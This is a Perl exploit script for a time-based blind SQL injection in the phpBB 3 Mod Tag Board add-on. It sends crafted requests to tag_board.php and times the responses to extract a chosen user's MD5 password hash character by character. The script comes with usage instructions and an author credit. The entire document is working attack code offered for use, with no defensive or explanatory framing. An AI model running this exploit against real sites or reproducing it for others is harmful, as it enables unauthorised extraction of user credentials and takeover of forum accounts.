#!/usr/bin/perl  
# ---------------------------------------------------------------
# phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit   
# by athos - staker[at]hotmail[dot]it
# http://bx67212.netsons.org/forum/viewforum.php?f=3
# ---------------------------------------------------------------
# Note: Works regardless PHP.ini settings!
# Thanks meh also know as cHoBi
# ---------------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($hash,$time1,$time2);

my @chars = (48..57, 97..102);  
my $http  = new LWP::UserAgent;

my $host  = shift;
my $table = shift;
my $myid  = shift or &usage;

sub injection
{
     my ($sub,$char) = @_;
      
     return "/tag_board.php?mode=controlpanel&action=delete&id=".
            "1+and+(select+if((ascii(substring(user_password,${sub},1)".
            ")=${char}),benchmark(230000000,char(0)),0)+from+${table}_us".
            "ers+where+user_id=${myid})--";
}

sub usage
{
     print STDOUT "Usage: perl $0 [host] [table_prefix] [user_id]\n";
     print STDOUT "Howto: perl $0 http://localhost/phpBB phpbb 2\n";
     print STDOUT "by athos - staker[at]hotmail[dot]it\n";
     exit;
}

syswrite(STDOUT,'Hash MD5: ');

for my $i(1..33)
{
     for my $j(0..16)
     {
         $time1 = time();

         $http->get($host.injection($i,$chars[$j]));
          
         $time2 = time();

         if($time2 - $time1 > 6)
         {
             syswrite(STDOUT,chr($chars[$j]));
             $hash .= chr($chars[$j]);  
             last;
         }
          
         if($i == 1 && length $hash < 0)
         {
             syswrite(STDOUT,"Exploit Failed!\n");
             exit;
         }  
     }
}